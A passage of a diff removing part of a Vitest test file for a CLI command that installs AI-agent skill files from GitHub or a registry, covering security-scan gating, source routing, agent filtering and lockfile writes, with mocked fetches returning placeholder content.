{ name: "good1", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/SKILL.md" },
|
|
930
|
-
{ name: "bad", path: "skills/bad/SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/skills/bad/SKILL.md" },
|
|
931
|
-
{ name: "good2", path: "skills/good2/SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/skills/good2/SKILL.md" },
|
|
932
|
-
]);
|
|
933
|
-
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
934
|
-
ok: true,
|
|
935
|
-
text: async () => "# Skill content",
|
|
936
|
-
});
|
|
937
|
-
// Second scan fails
|
|
938
|
-
mockRunTier1Scan
|
|
939
|
-
.mockReturnValueOnce(makeScanResult())
|
|
940
|
-
.mockReturnValueOnce(makeScanResult({ verdict: "FAIL", score: 10 }))
|
|
941
|
-
.mockReturnValueOnce(makeScanResult());
|
|
942
|
-
await addCommand("owner/repo", {});
|
|
943
|
-
// All 3 scanned, but only 2 installed
|
|
944
|
-
expect(mockRunTier1Scan).toHaveBeenCalledTimes(3);
|
|
945
|
-
const lockArg = mockWriteLockfile.mock.calls[0][0];
|
|
946
|
-
expect(Object.keys(lockArg.skills)).toHaveLength(2);
|
|
947
|
-
expect(lockArg.skills).toHaveProperty("good1");
|
|
948
|
-
expect(lockArg.skills).toHaveProperty("good2");
|
|
949
|
-
expect(lockArg.skills).not.toHaveProperty("bad");
|
|
950
|
-
});
|
|
951
|
-
// TC-011: Discovery API failure falls back to single-skill install
|
|
952
|
-
it("falls back to single root SKILL.md when discovery returns empty", async () => {
|
|
953
|
-
mockDiscoverSkills.mockResolvedValue([]);
|
|
954
|
-
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
955
|
-
ok: true,
|
|
956
|
-
text: async () => "# Root skill content",
|
|
957
|
-
});
|
|
958
|
-
await addCommand("owner/repo", {});
|
|
959
|
-
// Should fall back to fetching root SKILL.md directly
|
|
960
|
-
expect(globalThis.fetch).toHaveBeenCalledWith("https://raw.githubusercontent.com/owner/repo/main/SKILL.md");
|
|
961
|
-
expect(mockRunTier1Scan).toHaveBeenCalledTimes(1);
|
|
962
|
-
});
|
|
963
|
-
});
|
|
964
|
-
// ---------------------------------------------------------------------------
|
|
965
|
-
// Source format routing — 3-part, URL normalization, edge cases
|
|
966
|
-
// ---------------------------------------------------------------------------
|
|
967
|
-
describe("addCommand source format routing", () => {
|
|
968
|
-
const originalFetch = globalThis.fetch;
|
|
969
|
-
beforeEach(() => {
|
|
970
|
-
mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
|
|
971
|
-
mockCheckPlatformSecurity.mockResolvedValue(null);
|
|
972
|
-
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
973
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
974
|
-
mockEnsureLockfile.mockReturnValue({
|
|
975
|
-
version: 1,
|
|
976
|
-
agents: [],
|
|
977
|
-
skills: {},
|
|
978
|
-
createdAt: "2026-01-01T00:00:00.000Z",
|
|
979
|
-
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
980
|
-
});
|
|
981
|
-
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
982
|
-
ok: true,
|
|
983
|
-
text: async () => "# Skill content",
|
|
984
|
-
});
|
|
985
|
-
});
|
|
986
|
-
afterEach(() => {
|
|
987
|
-
globalThis.fetch = originalFetch;
|
|
988
|
-
});
|
|
989
|
-
// TC-017: 3-part format owner/repo/skill routes to installSingleSkillLegacy
|
|
990
|
-
it("3-part format fetches from skills/<skill>/SKILL.md and bypasses discovery", async () => {
|
|
991
|
-
await addCommand("owner/repo/my-skill", {});
|
|
992
|
-
expect(mockDiscoverSkills).not.toHaveBeenCalled();
|
|
993
|
-
expect(globalThis.fetch).toHaveBeenCalledWith("https://raw.githubusercontent.com/owner/repo/main/skills/my-skill/SKILL.md");
|
|
994
|
-
expect(mockRunTier1Scan).toHaveBeenCalledTimes(1);
|
|
995
|
-
});
|
|
996
|
-
// TC-018: 3-part format writes correct skill name to lockfile
|
|
997
|
-
it("3-part format writes skill name (not repo) to lockfile", async () => {
|
|
998
|
-
await addCommand("owner/repo/my-skill", {});
|
|
999
|
-
expect(mockWriteLockfile).toHaveBeenCalled();
|
|
1000
|
-
const lockArg = mockWriteLockfile.mock.calls[0][0];
|
|
1001
|
-
expect(lockArg.skills).toHaveProperty("my-skill");
|
|
1002
|
-
expect(lockArg.skills["my-skill"].source).toBe("github:owner/repo");
|
|
1003
|
-
});
|
|
1004
|
-
// TC-019: 4+ parts falls through to registry lookup (not 3-part)
|
|
1005
|
-
it("4-part source falls through to registry lookup", async () => {
|
|
1006
|
-
mockGetSkill.mockResolvedValue({ content: "# Skill" });
|
|
1007
|
-
await addCommand("a/b/c/d", {});
|
|
1008
|
-
// Not treated as 3-part (parts.length === 4, not 3)
|
|
1009
|
-
expect(mockDiscoverSkills).not.toHaveBeenCalled();
|
|
1010
|
-
// Falls to registry because parts.length !== 2
|
|
1011
|
-
expect(mockGetSkill).toHaveBeenCalledWith("a/b/c/d");
|
|
1012
|
-
});
|
|
1013
|
-
// TC-020: Full GitHub URL normalized to 2-part before routing
|
|
1014
|
-
it("GitHub URL normalizes to owner/repo and triggers discovery", async () => {
|
|
1015
|
-
mockDiscoverSkills.mockResolvedValue([
|
|
1016
|
-
{ name: "repo", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/SKILL.md" },
|
|
1017
|
-
]);
|
|
1018
|
-
await addCommand("https://github.com/owner/repo", {});
|
|
1019
|
-
expect(mockDiscoverSkills).toHaveBeenCalledWith("owner", "repo");
|
|
1020
|
-
});
|
|
1021
|
-
// TC-021: GitHub URL with .git suffix stripped
|
|
1022
|
-
it("GitHub URL with .git suffix strips it before routing", async () => {
|
|
1023
|
-
mockDiscoverSkills.mockResolvedValue([
|
|
1024
|
-
{ name: "repo", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/SKILL.md" },
|
|
1025
|
-
]);
|
|
1026
|
-
await addCommand("https://github.com/owner/repo.git", {});
|
|
1027
|
-
expect(mockDiscoverSkills).toHaveBeenCalledWith("owner", "repo");
|
|
1028
|
-
});
|
|
1029
|
-
// TC-022: No source provided exits with error
|
|
1030
|
-
it("exits with error when source is undefined and no flags set", async () => {
|
|
1031
|
-
const mockExit = vi.spyOn(process, "exit").mockImplementation(() => {
|
|
1032
|
-
throw new Error("process.exit");
|
|
1033
|
-
});
|
|
1034
|
-
await expect(addCommand(undefined, {})).rejects.toThrow("process.exit");
|
|
1035
|
-
expect(mockExit).toHaveBeenCalledWith(1);
|
|
1036
|
-
mockExit.mockRestore();
|
|
1037
|
-
});
|
|
1038
|
-
// TC-023: 3-part format with --copy uses copy installer
|
|
1039
|
-
it("3-part format with --copy flag uses installCopy", async () => {
|
|
1040
|
-
await addCommand("owner/repo/my-skill", { copy: true });
|
|
1041
|
-
expect(mockInstallCopy).toHaveBeenCalled();
|
|
1042
|
-
expect(mockInstallSymlink).not.toHaveBeenCalled();
|
|
1043
|
-
});
|
|
1044
|
-
// TC-024: 3-part format with --global installs globally
|
|
1045
|
-
it("3-part format with --global flag passes global option", async () => {
|
|
1046
|
-
await addCommand("owner/repo/my-skill", { global: true });
|
|
1047
|
-
expect(mockInstallSymlink).toHaveBeenCalled();
|
|
1048
|
-
const installArgs = mockInstallSymlink.mock.calls[0];
|
|
1049
|
-
// installSymlink(skillName, content, agents, { global, projectRoot })
|
|
1050
|
-
expect(installArgs[3]).toEqual(expect.objectContaining({ global: true }));
|
|
1051
|
-
});
|
|
1052
|
-
// TC-025: 2-part + --skill is equivalent to 3-part format
|
|
1053
|
-
it("2-part with --skill fetches same URL as 3-part format", async () => {
|
|
1054
|
-
const expectedUrl = "https://raw.githubusercontent.com/owner/repo/main/skills/specific/SKILL.md";
|
|
1055
|
-
// 2-part with --skill flag
|
|
1056
|
-
await addCommand("owner/repo", { skill: "specific" });
|
|
1057
|
-
expect(globalThis.fetch).toHaveBeenCalledWith(expectedUrl);
|
|
1058
|
-
// Reset fetch mock
|
|
1059
|
-
globalThis.fetch.mockClear();
|
|
1060
|
-
vi.clearAllMocks();
|
|
1061
|
-
mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
|
|
1062
|
-
mockCheckPlatformSecurity.mockResolvedValue(null);
|
|
1063
|
-
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
1064
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
1065
|
-
mockEnsureLockfile.mockReturnValue({
|
|
1066
|
-
version: 1,
|
|
1067
|
-
agents: [],
|
|
1068
|
-
skills: {},
|
|
1069
|
-
createdAt: "2026-01-01T00:00:00.000Z",
|
|
1070
|
-
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
1071
|
-
});
|
|
1072
|
-
// 3-part format
|
|
1073
|
-
await addCommand("owner/repo/specific", {});
|
|
1074
|
-
expect(globalThis.fetch).toHaveBeenCalledWith(expectedUrl);
|
|
1075
|
-
});
|
|
1076
|
-
});
|
|
1077
|
-
// ---------------------------------------------------------------------------
|
|
1078
|
-
// Registry install (installFromRegistry) — no slash in source
|
|
1079
|
-
// ---------------------------------------------------------------------------
|
|
1080
|
-
describe("addCommand registry install (no slash in source)", () => {
|
|
1081
|
-
beforeEach(() => {
|
|
1082
|
-
mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
|
|
1083
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
1084
|
-
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
1085
|
-
mockEnsureLockfile.mockReturnValue({
|
|
1086
|
-
version: 1,
|
|
1087
|
-
agents: [],
|
|
1088
|
-
skills: {},
|
|
1089
|
-
createdAt: "2026-01-01T00:00:00.000Z",
|
|
1090
|
-
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
1091
|
-
});
|
|
1092
|
-
});
|
|
1093
|
-
it("installs a skill when registry returns content", async () => {
|
|
1094
|
-
mockGetSkill.mockResolvedValue({
|
|
1095
|
-
name: "my-skill",
|
|
1096
|
-
author: "alice",
|
|
1097
|
-
tier: "VERIFIED",
|
|
1098
|
-
score: 90,
|
|
1099
|
-
version: "1.0.0",
|
|
1100
|
-
sha: "",
|
|
1101
|
-
description: "A skill",
|
|
1102
|
-
content: "# My Skill\nDoes great things.",
|
|
1103
|
-
installs: 5,
|
|
1104
|
-
updatedAt: "2026-01-01T00:00:00Z",
|
|
1105
|
-
});
|
|
1106
|
-
await addCommand("my-skill", {});
|
|
1107
|
-
expect(mockGetSkill).toHaveBeenCalledWith("my-skill");
|
|
1108
|
-
expect(mockRunTier1Scan).toHaveBeenCalledWith("# My Skill\nDoes great things.");
|
|
1109
|
-
expect(mockWriteFileSync).toHaveBeenCalledWith(expect.stringContaining("my-skill"), "# My Skill\nDoes great things.", "utf-8");
|
|
1110
|
-
expect(mockWriteLockfile).toHaveBeenCalledWith(expect.objectContaining({
|
|
1111
|
-
skills: expect.objectContaining({
|
|
1112
|
-
"my-skill": expect.objectContaining({ source: "registry:my-skill" }),
|
|
1113
|
-
}),
|
|
1114
|
-
}), expect.any(String));
|
|
1115
|
-
});
|
|
1116
|
-
it("exits with error when skill is not in registry", async () => {
|
|
1117
|
-
mockGetSkill.mockRejectedValue(new Error("API request failed: 404 Not Found"));
|
|
1118
|
-
const mockExit = vi.spyOn(process, "exit").mockImplementation((() => { }));
|
|
1119
|
-
await addCommand("nonexistent-skill", {});
|
|
1120
|
-
expect(mockExit).toHaveBeenCalledWith(1);
|
|
1121
|
-
mockExit.mockRestore();
|
|
1122
|
-
});
|
|
1123
|
-
it("falls back to GitHub install via repoUrl when content is missing", async () => {
|
|
1124
|
-
mockGetSkill.mockResolvedValue({
|
|
1125
|
-
name: "remotion-dev-skills-remotion",
|
|
1126
|
-
author: "remotion-dev",
|
|
1127
|
-
tier: "VERIFIED",
|
|
1128
|
-
score: 100,
|
|
1129
|
-
version: "1.0.0",
|
|
1130
|
-
sha: "",
|
|
1131
|
-
description: "Remotion skill",
|
|
1132
|
-
content: undefined,
|
|
1133
|
-
installs: 0,
|
|
1134
|
-
updatedAt: "2026-02-20T00:00:00Z",
|
|
1135
|
-
repoUrl: "https://github.com/remotion-dev/skills",
|
|
1136
|
-
});
|
|
1137
|
-
// After fallback, addCommand calls discoverSkills("remotion-dev", "skills")
|
|
1138
|
-
mockDiscoverSkills.mockResolvedValue([
|
|
1139
|
-
{ name: "remotion", path: "skills/remotion/SKILL.md", rawUrl: "https://raw.githubusercontent.com/remotion-dev/skills/main/skills/remotion/SKILL.md" },
|
|
1140
|
-
]);
|
|
1141
|
-
// Then fetches the skill content from GitHub
|
|
1142
|
-
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
1143
|
-
ok: true,
|
|
1144
|
-
text: async () => "# Remotion skill content",
|
|
1145
|
-
});
|
|
1146
|
-
await addCommand("remotion-dev-skills-remotion", {});
|
|
1147
|
-
expect(mockDiscoverSkills).toHaveBeenCalledWith("remotion-dev", "skills");
|
|
1148
|
-
// installOneGitHubSkill now uses canonical installer
|
|
1149
|
-
expect(mockInstallSymlink).toHaveBeenCalled();
|
|
1150
|
-
});
|
|
1151
|
-
it("falls back to GitHub install via author/skillName when repoUrl is absent", async () => {
|
|
1152
|
-
mockGetSkill.mockResolvedValue({
|
|
1153
|
-
name: "some-skill",
|
|
1154
|
-
author: "bob",
|
|
1155
|
-
tier: "VERIFIED",
|
|
1156
|
-
score: 50,
|
|
1157
|
-
version: "0.1.0",
|
|
1158
|
-
sha: "",
|
|
1159
|
-
description: "",
|
|
1160
|
-
content: undefined,
|
|
1161
|
-
installs: 0,
|
|
1162
|
-
updatedAt: "2026-01-01T00:00:00Z",
|
|
1163
|
-
});
|
|
1164
|
-
// Fallback uses author/skillName → discoverSkills("bob", "some-skill")
|
|
1165
|
-
mockDiscoverSkills.mockResolvedValue([]);
|
|
1166
|
-
// Discovery empty → falls back to root SKILL.md fetch
|
|
1167
|
-
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
1168
|
-
ok: true,
|
|
1169
|
-
text: async () => "# Some skill",
|
|
1170
|
-
});
|
|
1171
|
-
await addCommand("some-skill", {});
|
|
1172
|
-
expect(mockDiscoverSkills).toHaveBeenCalledWith("bob", "some-skill");
|
|
1173
|
-
expect(mockRunTier1Scan).toHaveBeenCalled();
|
|
1174
|
-
});
|
|
1175
|
-
it("exits when no content, no repoUrl, and no author", async () => {
|
|
1176
|
-
mockGetSkill.mockResolvedValue({
|
|
1177
|
-
name: "",
|
|
1178
|
-
author: "",
|
|
1179
|
-
tier: "VERIFIED",
|
|
1180
|
-
score: 0,
|
|
1181
|
-
version: "0.0.0",
|
|
1182
|
-
sha: "",
|
|
1183
|
-
description: "",
|
|
1184
|
-
content: undefined,
|
|
1185
|
-
installs: 0,
|
|
1186
|
-
updatedAt: "",
|
|
1187
|
-
});
|
|
1188
|
-
const mockExit = vi.spyOn(process, "exit").mockImplementation((() => { }));
|
|
1189
|
-
await addCommand("mystery-skill", {});
|
|
1190
|
-
expect(mockExit).toHaveBeenCalledWith(1);
|
|
1191
|
-
mockExit.mockRestore();
|
|
1192
|
-
});
|
|
1193
|
-
});
|
|
1194
|
-
// ---------------------------------------------------------------------------
|
|
1195
|
-
// T-012 through T-015: Smart project root and agent filter integration
|
|
1196
|
-
// ---------------------------------------------------------------------------
|
|
1197
|
-
describe("addCommand smart project root resolution", () => {
|
|
1198
|
-
const originalFetch = globalThis.fetch;
|
|
1199
|
-
beforeEach(() => {
|
|
1200
|
-
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
1201
|
-
ok: true,
|
|
1202
|
-
text: async () => "# Skill content",
|
|
1203
|
-
});
|
|
1204
|
-
mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
|
|
1205
|
-
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
1206
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
1207
|
-
mockEnsureLockfile.mockReturnValue({
|
|
1208
|
-
version: 1,
|
|
1209
|
-
agents: [],
|
|
1210
|
-
skills: {},
|
|
1211
|
-
createdAt: "2026-01-01T00:00:00.000Z",
|
|
1212
|
-
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
1213
|
-
});
|
|
1214
|
-
});
|
|
1215
|
-
afterEach(() => {
|
|
1216
|
-
globalThis.fetch = originalFetch;
|
|
1217
|
-
});
|
|
1218
|
-
// TC-012: Project scope always uses process.cwd() — no walk-up
|
|
1219
|
-
it("installs skill relative to process.cwd() regardless of findProjectRoot result", async () => {
|
|
1220
|
-
const cwd = "/home/user/project/subdir";
|
|
1221
|
-
const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(cwd);
|
|
1222
|
-
mockFindProjectRoot.mockReturnValue("/home/user/project");
|
|
1223
|
-
await addCommand("owner/safe-repo", {});
|
|
1224
|
-
expect(mockInstallSymlink).toHaveBeenCalled();
|
|
1225
|
-
const callArgs = mockInstallSymlink.mock.calls[0];
|
|
1226
|
-
expect(callArgs[3].projectRoot).toBe(cwd);
|
|
1227
|
-
cwdSpy.mockRestore();
|
|
1228
|
-
});
|
|
1229
|
-
});
|
|
1230
|
-
describe("addCommand --agent filter", () => {
|
|
1231
|
-
const originalFetch = globalThis.fetch;
|
|
1232
|
-
beforeEach(() => {
|
|
1233
|
-
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
1234
|
-
ok: true,
|
|
1235
|
-
text: async () => "# Skill content",
|
|
1236
|
-
});
|
|
1237
|
-
mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
|
|
1238
|
-
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
1239
|
-
mockEnsureLockfile.mockReturnValue({
|
|
1240
|
-
version: 1,
|
|
1241
|
-
agents: [],
|
|
1242
|
-
skills: {},
|
|
1243
|
-
createdAt: "2026-01-01T00:00:00.000Z",
|
|
1244
|
-
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
1245
|
-
});
|
|
1246
|
-
});
|
|
1247
|
-
afterEach(() => {
|
|
1248
|
-
globalThis.fetch = originalFetch;
|
|
1249
|
-
});
|
|
1250
|
-
// TC-014: --agent filters to specific agent
|
|
1251
|
-
it("installs only to the filtered agent when --agent is provided", async () => {
|
|
1252
|
-
const claude = makeAgent({ id: "claude-code", displayName: "Claude Code" });
|
|
1253
|
-
const cursor = makeAgent({
|
|
1254
|
-
id: "cursor",
|
|
1255
|
-
displayName: "Cursor",
|
|
1256
|
-
localSkillsDir: ".cursor/skills",
|
|
1257
|
-
globalSkillsDir: "~/.cursor/skills",
|
|
1258
|
-
});
|
|
1259
|
-
mockDetectInstalledAgents.mockResolvedValue([claude, cursor]);
|
|
1260
|
-
// filterAgents returns only claude when agent=["claude-code"]
|
|
1261
|
-
mockFilterAgents.mockReturnValue([claude]);
|
|
1262
|
-
await addCommand("owner/safe-repo", { agent: ["claude-code"] });
|
|
1263
|
-
// filterAgents should have been called with both agents and the filter
|
|
1264
|
-
expect(mockFilterAgents).toHaveBeenCalledWith([claude, cursor], ["claude-code"]);
|
|
1265
|
-
// Canonical installer called with only the filtered agent
|
|
1266
|
-
expect(mockInstallSymlink).toHaveBeenCalled();
|
|
1267
|
-
const agents = mockInstallSymlink.mock.calls[0][2]; // 3rd arg = agents array
|
|
1268
|
-
expect(agents).toHaveLength(1);
|
|
1269
|
-
expect(agents[0].id).toBe("claude-code");
|
|
1270
|
-
});
|
|
1271
|
-
// TC-015: --agent with invalid ID shows error
|
|
1272
|
-
it("exits with error when --agent specifies unknown ID", async () => {
|
|
1273
|
-
const claude = makeAgent();
|
|
1274
|
-
mockDetectInstalledAgents.mockResolvedValue([claude]);
|
|
1275
|
-
mockFilterAgents.mockImplementation(() => {
|
|
1276
|
-
throw new Error("Unknown agent(s): nonexistent. Available: claude-code");
|
|
1277
|
-
});
|
|
1278
|
-
const mockExit = vi.spyOn(process, "exit").mockImplementation((() => { }));
|
|
1279
|
-
const mockConsoleError = vi.spyOn(console, "error").mockImplementation(() => { });
|
|
1280
|
-
await addCommand("owner/safe-repo", { agent: ["nonexistent"] });
|
|
1281
|
-
expect(mockExit).toHaveBeenCalledWith(1);
|
|
1282
|
-
// Should NOT have written any files
|
|
1283
|
-
expect(mockWriteFileSync).not.toHaveBeenCalled();
|
|
1284
|
-
mockExit.mockRestore();
|
|
1285
|
-
mockConsoleError.mockRestore();
|
|
1286
|
-
});
|
|
1287
|
-
});
|
|
1288
|
-
// ---------------------------------------------------------------------------
|
|
1289
|
-
// TC-016: Nested directory bug — running install from inside agent base dir
|
|
1290
|
-
// ---------------------------------------------------------------------------
|
|
1291
|
-
describe("addCommand nested directory fix (TC-016)", () => {
|
|
1292
|
-
const originalFetch = globalThis.fetch;
|
|
1293
|
-
beforeEach(() => {
|
|
1294
|
-
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
1295
|
-
ok: true,
|
|
1296
|
-
text: async () => "# Skill content",
|
|
1297
|
-
});
|
|
1298
|
-
mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
|
|
1299
|
-
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
1300
|
-
mockEnsureLockfile.mockReturnValue({
|
|
1301
|
-
version: 1,
|
|
1302
|
-
agents: [],
|
|
1303
|
-
skills: {},
|
|
1304
|
-
createdAt: "2026-01-01T00:00:00.000Z",
|
|
1305
|
-
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
1306
|
-
});
|
|
1307
|
-
});
|
|
1308
|
-
afterEach(() => {
|
|
1309
|
-
globalThis.fetch = originalFetch;
|
|
1310
|
-
});
|
|
1311
|
-
// TC-016a: cwd is agent base dir → canonical installer receives correct projectRoot
|
|
1312
|
-
it("does not create nested agent dir when projectRoot ends with agent base folder", async () => {
|
|
1313
|
-
// Simulate running `vskill install` from inside ~/.openclaw/
|
|
1314
|
-
const agentBaseDir = "/home/user/.openclaw";
|
|
1315
|
-
const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(agentBaseDir);
|
|
1316
|
-
mockFindProjectRoot.mockReturnValue(agentBaseDir);
|
|
1317
|
-
const openclaw = makeAgent({
|
|
1318
|
-
id: "openclaw",
|
|
1319
|
-
displayName: "OpenClaw",
|
|
1320
|
-
localSkillsDir: "skills",
|
|
1321
|
-
globalSkillsDir: "~/.openclaw/skills",
|
|
1322
|
-
});
|
|
1323
|
-
mockDetectInstalledAgents.mockResolvedValue([openclaw]);
|
|
1324
|
-
await addCommand("owner/safe-repo", {});
|
|
1325
|
-
// Canonical installer receives projectRoot = cwd (agentBaseDir)
|
|
1326
|
-
// With localSkillsDir: "skills", the resolved path is /home/user/.openclaw/skills (no double nesting)
|
|
1327
|
-
expect(mockInstallSymlink).toHaveBeenCalled();
|
|
1328
|
-
const installOpts = mockInstallSymlink.mock.calls[0][3];
|
|
1329
|
-
expect(installOpts.projectRoot).toBe(agentBaseDir);
|
|
1330
|
-
cwdSpy.mockRestore();
|
|
1331
|
-
});
|
|
1332
|
-
// TC-016b: --cwd flag uses process.cwd() directly as projectRoot
|
|
1333
|
-
it("does not create nested agent dir when --cwd and cwd is agent base dir", async () => {
|
|
1334
|
-
// Spy on process.cwd() to return the agent base dir
|
|
1335
|
-
const agentBaseDir = "/home/user/.openclaw";
|
|
1336
|
-
const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(agentBaseDir);
|
|
1337
|
-
const openclaw = makeAgent({
|
|
1338
|
-
id: "openclaw",
|
|
1339
|
-
displayName: "OpenClaw",
|
|
1340
|
-
localSkillsDir: "skills",
|
|
1341
|
-
globalSkillsDir: "~/.openclaw/skills",
|
|
1342
|
-
});
|
|
1343
|
-
mockDetectInstalledAgents.mockResolvedValue([openclaw]);
|
|
1344
|
-
await addCommand("owner/safe-repo", { cwd: true });
|
|
1345
|
-
// projectRoot should be process.cwd() directly
|
|
1346
|
-
expect(mockInstallSymlink).toHaveBeenCalled();
|
|
1347
|
-
const installOpts = mockInstallSymlink.mock.calls[0][3];
|
|
1348
|
-
expect(installOpts.projectRoot).toBe(agentBaseDir);
|
|
1349
|
-
cwdSpy.mockRestore();
|
|
1350
|
-
});
|
|
1351
|
-
});
|
|
1352
|
-
// ---------------------------------------------------------------------------
|
|
1353
|
-
// --repo flag tests
|
|
1354
|
-
// ---------------------------------------------------------------------------
|
|
1355
|
-
describe("addCommand with --repo flag (remote plugin install)", () => {
|
|
1356
|
-
const originalFetch = globalThis.fetch;
|
|
1357
|
-
afterEach(() => {
|
|
1358
|
-
globalThis.fetch = originalFetch;
|
|
1359
|
-
});
|
|
1360
|
-
const marketplaceJson = JSON.stringify({
|
|
1361
|
-
name: "vskill",
|
|
1362
|
-
version: "1.0.0",
|
|
1363
|
-
plugins: [
|
|
1364
|
-
{ name: "frontend", source: "./plugins/frontend", version: "1.0.0" },
|
|
1365
|
-
{ name: "backend", source: "./plugins/backend", version: "1.0.0" },
|
|
1366
|
-
],
|
|
1367
|
-
});
|
|
1368
|
-
function setupHappyPath() {
|
|
1369
|
-
mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
|
|
1370
|
-
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
1371
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
1372
|
-
mockFindProjectRoot.mockReturnValue("/project");
|
|
1373
|
-
mockExistsSync.mockReturnValue(false);
|
|
1374
|
-
mockEnsureLockfile.mockReturnValue({
|
|
1375
|
-
version: 1,
|
|
1376
|
-
agents: [],
|
|
1377
|
-
skills: {},
|
|
1378
|
-
createdAt: "2026-01-01T00:00:00.000Z",
|
|
1379
|
-
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
1380
|
-
});
|
|
1381
|
-
// Mock fetch to respond differently based on URL
|
|
1382
|
-
globalThis.fetch = vi.fn().mockImplementation(async (url) => {
|
|
1383
|
-
// Marketplace manifest
|
|
1384
|
-
if (url.includes("marketplace.json")) {
|
|
1385
|
-
return { ok: true, text: async () => marketplaceJson, json: async () => JSON.parse(marketplaceJson) };
|
|
1386
|
-
}
|
|
1387
|
-
// GitHub Contents API: skills directory
|
|
1388
|
-
if (url.includes("/contents/plugins/frontend/skills")) {
|
|
1389
|
-
return {
|
|
1390
|
-
ok: true,
|
|
1391
|
-
json: async () => [
|
|
1392
|
-
{ name: "nextjs", type: "dir" },
|
|
1393
|
-
{ name: "react", type: "dir" },
|
|
1394
|
-
],
|
|
1395
|
-
};
|
|
1396
|
-
}
|
|
1397
|
-
// GitHub Contents API: commands directory
|
|
1398
|
-
if (url.includes("/contents/plugins/frontend/commands")) {
|
|
1399
|
-
return {
|
|
1400
|
-
ok: true,
|
|
1401
|
-
json: async () => [
|
|
1402
|
-
{ name: "scaffold.md", type: "file" },
|
|
1403
|
-
],
|
|
1404
|
-
};
|
|
1405
|
-
}
|
|
1406
|
-
// Raw content: SKILL.md files
|
|
1407
|
-
if (url.includes("/skills/nextjs/SKILL.md")) {
|
|
1408
|
-
return { ok: true, text: async () => "# Next.js Skill\nFrontend framework" };
|
|
1409
|
-
}
|
|
1410
|
-
if (url.includes("/skills/react/SKILL.md")) {
|
|
1411
|
-
return { ok: true, text: async () => "# React Skill\nUI library" };
|
|
1412
|
-
}
|
|
1413
|
-
// Raw content: command files
|
|
1414
|
-
if (url.includes("/commands/scaffold.md")) {
|
|
1415
|
-
return { ok: true, text: async () => "# Scaffold\nGenerate project" };
|
|
1416
|
-
}
|
|
1417
|
-
return { ok: false };
|
|
1418
|
-
});
|
|
1419
|
-
}
|
|
1420
|
-
it("installs skills and commands with plugin namespace prefix", async () => {
|
|
1421
|
-
setupHappyPath();
|
|
1422
|
-
await addCommand("ignored-source", { repo: "anton-abyzov/vskill", plugin: "frontend" });
|
|
1423
|
-
// Should have fetched marketplace + skills dir + commands dir + 3 content files = 6 calls
|
|
1424
|
-
expect(globalThis.fetch).toHaveBeenCalled();
|
|
1425
|
-
// Should write SKILL.md files under {plugin-name}/{skill-name}/SKILL.md
|
|
1426
|
-
const writeCalls = mockWriteFileSync.mock.calls;
|
|
1427
|
-
const skillPaths = writeCalls.filter(([p]) => p.includes("SKILL.md")).map(([p]) => p);
|
|
1428
|
-
expect(skillPaths.length).toBe(2);
|
|
1429
|
-
// Paths should contain frontend/nextjs/SKILL.md and frontend/react/SKILL.md
|
|
1430
|
-
expect(skillPaths.some(p => p.includes("/frontend/nextjs/SKILL.md"))).toBe(true);
|
|
1431
|
-
expect(skillPaths.some(p => p.includes("/frontend/react/SKILL.md"))).toBe(true);
|
|
1432
|
-
// Should also write the command file
|
|
1433
|
-
const cmdPaths = writeCalls.filter(([p]) => p.includes("scaffold.md")).map(([p]) => p);
|
|
1434
|
-
expect(cmdPaths.length).toBe(1);
|
|
1435
|
-
expect(cmdPaths[0]).toContain("/frontend/");
|
|
1436
|
-
});
|
|
1437
|
-
it("writes lockfile with github source format", async () => {
|
|
1438
|
-
setupHappyPath();
|
|
1439
|
-
await addCommand("ignored-source", { repo: "anton-abyzov/vskill", plugin: "frontend" });
|
|
1440
|
-
expect(mockWriteLockfile).toHaveBeenCalled();
|
|
1441
|
-
const lock = mockWriteLockfile.mock.calls[0][0];
|
|
1442
|
-
expect(lock.skills.frontend).toBeDefined();
|
|
1443
|
-
expect(lock.skills.frontend.source).toBe("github:anton-abyzov/vskill#plugin:frontend");
|
|
1444
|
-
expect(lock.skills.frontend.version).toBe("1.0.0");
|
|
1445
|
-
});
|
|
1446
|
-
it("exits with error for invalid --repo format", async () => {
|
|
1447
|
-
